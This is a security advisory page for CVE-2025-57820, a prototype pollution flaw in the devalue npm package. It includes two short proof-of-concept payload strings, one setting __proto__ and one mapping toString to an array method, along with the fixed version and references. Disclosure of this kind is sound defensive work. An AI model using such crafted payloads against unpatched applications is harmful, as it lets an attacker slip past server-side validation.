Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. devalue
  4. ›
  5. CVE-2025-57820

CVE-2025-57820: devalue prototype pollution vulnerability

August 26, 2025

1. <code>devalue.parse</code> allows <code>__proto__</code> to be set

A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:

class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, {
  Vector: ([x, y]) => new Vector(x, y)
});

console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5

2. <code>devalue.parse</code> allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the ‘hydrated’ values:

devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.

References

  • github.com/advisories/GHSA-vj54-72f3-p5jv
  • github.com/sveltejs/devalue
  • github.com/sveltejs/devalue/commit/0623a47c9555b639c03ff1baea82951b2d9d1132
  • github.com/sveltejs/devalue/security/advisories/GHSA-vj54-72f3-p5jv
  • nvd.nist.gov/vuln/detail/CVE-2025-57820

Code Behaviors & Features

Detect and mitigate CVE-2025-57820 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 5.3.2

Fixed versions

  • 5.3.2

Solution

Upgrade to version 5.3.2 or above.

Weakness

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Source file

npm/devalue/CVE-2025-57820.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 27 Aug 2025 00:19:13 +0000.